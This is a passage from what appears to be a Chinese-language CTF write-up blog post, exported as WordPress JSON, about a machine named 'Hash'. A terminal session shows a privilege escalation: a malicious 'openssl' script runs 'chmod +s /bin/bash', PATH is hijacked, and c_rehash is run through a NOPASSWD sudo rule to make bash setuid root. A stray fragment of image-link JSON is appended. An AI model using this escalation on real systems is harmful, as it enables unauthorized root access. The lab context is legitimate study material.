\n\u56db\u3001\u4f7f\u7528\u793a\u4f8b<\/strong><\/h3>\n# \u57fa\u672c\u7528\u6cd5\uff08\u5904\u7406\u9ed8\u8ba4\u76ee\u5f55\uff09\nc_rehash\n\n# \u5904\u7406\u81ea\u5b9a\u4e49\u76ee\u5f55\uff08\u663e\u793a\u8be6\u7ec6\u65e5\u5fd7\uff09\nc_rehash -v \/path\/to\/certs\n\n# \u4fdd\u7559\u73b0\u6709\u94fe\u63a5\u5e76\u5904\u7406\u591a\u4e2a\u76ee\u5f55\nc_rehash -n \/dir1 \/dir2<\/code><\/pre>\n\n\u63d0\u793a<\/strong>\uff1a\u8be5\u811a\u672c\u5e38\u7528\u4e8e\u914d\u7f6e OpenSSL \u7684\u8bc1\u4e66\u76ee\u5f55\uff0c\u4f7f curl --capath<\/code> \u7b49\u5de5\u5177\u80fd\u901a\u8fc7\u54c8\u5e0c\u503c\u5feb\u901f\u5b9a\u4f4d\u8bc1\u4e66\u3002<\/p>\n<\/blockquote>\n<\/blockquote>\n\u4f46\u662f\u6211\u81ea\u5df1\u5ba1\u8ba1\u65f6\u5019\u53d1\u73b0\u5b58\u5728\u4e00\u5904\u52ab\u6301\u6f0f\u6d1emy $openssl = $ENV{OPENSSL} || "openssl";<\/code>\uff0c\u8fd9\u4ee3\u8868\u82e5\u7528\u6237\u901a\u8fc7 export OPENSSL=\/\u81ea\u5b9a\u4e49\u8def\u5f84\/openssl<\/code> \u663e\u5f0f\u6307\u5b9a\u8def\u5f84\uff0c\u5219\u4f7f\u7528\u8be5\u503c\uff0c\u5f53 $ENV{OPENSSL}<\/code> \u4e3a\u7a7a\u65f6\uff0c\u4f7f\u7528\u9ed8\u8ba4\u503c\u5b57\u7b26\u4e32 "openssl"<\/code>\u3002<\/p>\n\n- \u81ea\u5b9a\u4e49\u4e00\u4e2a\u6076\u610f\u811a\u672c
openssl<\/code><\/li>\n- \u4fee\u6539\u8def\u5f84<\/li>\n
- sudo \u8fd0\u884c\u811a\u672c\uff0c\u6076\u610f\u4ee3\u7801\u6267\u884c\u3002<\/li>\n<\/ul>\n
(remote) maria@hash:\/tmp$ echo "chmod +s \/bin\/bash" > openssl\n(remote) maria@hash:\/tmp$ chmod +x openssl \n(remote) maria@hash:\/tmp$ ls -la \/bin\/bash\n-rwxr-xr-x 1 root root 1168776 Apr 18 2019 \/bin\/bash\n(remote) maria@hash:\/tmp$ echo $PATH\n\/usr\/bin:\/bin:\/usr\/local\/bin:\/sbin:\/usr\/sbin:\/usr\/local\/sbin\n(remote) maria@hash:\/tmp$ PATH=$PWD:$PATH\n(remote) maria@hash:\/tmp$ echo $PATH\n\/tmp:\/usr\/bin:\/bin:\/usr\/local\/bin:\/sbin:\/usr\/sbin:\/usr\/local\/sbin\n(remote) maria@hash:\/tmp$ sudo -l\nMatching Defaults entries for maria on hash:\n env_reset, mail_badpass, secure_path=\/usr\/local\/sbin\\:\/usr\/local\/bin\\:\/usr\/sbin\\:\/usr\/bin\\:\/sbin\\:\/bin\n\nUser maria may run the following commands on hash:\n (ALL : ALL) NOPASSWD: \/usr\/bin\/c_rehash\n(remote) maria@hash:\/tmp$ sudo \/usr\/bin\/c_rehash\nDoing \/usr\/lib\/ssl\/certs\nWARNING: Skipping duplicate certificate ACCVRAIZ1.pem\nWARNING: Skipping duplicate certificate AC_RAIZ_FNMT-RCM.pem\nWARNING: Skipping duplicate certificate AC_RAIZ_FNMT-RCM.pem\n--------------\nWARNING: Skipping duplicate certificate thawte_Primary_Root_CA_-_G2.pem\nWARNING: Skipping duplicate certificate thawte_Primary_Root_CA_-_G3.pem\nWARNING: Skipping duplicate certificate thawte_Primary_Root_CA_-_G3.pem\n(remote) maria@hash:\/tmp$ ls -la \/bin\/bash\n-rwsr-sr-x 1 root root 1168776 Apr 18 2019 \/bin\/bash<\/code><\/pre>\n\u6210\u529f\u6267\u884c\u4e86\u547d\u4ee4\uff0c\u62ff\u4e0brootshell\uff01\uff01\uff01<\/p>\n
<\/div><\/p>\n
\u8fd9\u91cc\u6267\u884c\u4e0d\u4e86flag.sh<\/code>\u6ca1\u4e8b\uff0c\u53cd\u5f39shell\u5c31\u53ef\u4ee5\u6b63\u5e38\u663e\u793a\u4e86\u3002<\/p>\n<\/div>
\n
<\/div><\/p>\n","protected":false},"excerpt":{"rendered":"
Hash \u540e\u53f0\u5728\u66f4\u65b0\uff0c\u53ef\u80fd\u51fa\u73b0\u4e0d\u53ef\u540d\u72b6\u7684bug\u3002\u3002\u3002\u3002 \u4fe1\u606f\u641c\u96c6 \u7aef\u53e3\u626b\u63cf \u250c\u2500\u2500(kali\u327fkali)-[~ […]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[11,18],"tags":[],"class_list":["post-857","post","type-post","status-publish","format-standard","hentry","category-ctf-and-protest","category-web"],"_links":{"self":[{"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/posts\/857","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/comments?post=857"}],"version-history":[{"count":1,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/posts\/857\/revisions"}],"predecessor-version":[{"id":858,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/posts\/857\/revisions\/858"}],"wp:attachment":[{"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/media?parent=857"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/categories?post=857"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/tags?post=857"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}
![\"image-20250610234643118\"](\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202506112236453.png\")
<\/div>![\"image-20250611171841901\"](\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202506112236455.png\")
<\/div><\/p>\n![\"image-20250611173653610\"](\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202506112236456.png\")
<\/div><\/p>\n![\"image-20250611195111367\"](\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202506112236457.png\")
<\/div><\/p>\n![\"image-20250611200717936\"](\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202506112236458.png\")
<\/div><\/p>\n![\"image-20250611213605992\"](\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202506112236459.png\")
<\/div><\/p>\n![\"image-20250611213828112\"](\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202506112236461.png\")
<\/div>![\"image-20250611213851685\"](\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202506112236462.png\")
<\/div><\/p>\n![\"image-20250611214315264\"](\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202506112236463.png\")
<\/div><\/p>\n![\"image-20250611214809475\"](\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202506112236464.png\")
<\/div>![\"image-20250611214824549\"](\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202506112236465.png\")
<\/div>![\"image-20250611215047111\"](\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202506112236466.png\")
<\/div>![\"image-20250611215219115\"](\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202506112236467.png\")
<\/div><\/p>\n![\"image-20250611215735173\"](\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202506112236468.png\")
<\/div><\/p>\n![\"image-20250611223333290\"](\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202506112236469.png\")
<\/div><\/p>\n![\"image-20250611223544112\"](\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202506112236470.png\")
<\/div>![\"image-20250611223606567\"](\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202506112236471.png\")
<\/div><\/p>\n","protected":false},"excerpt":{"rendered":"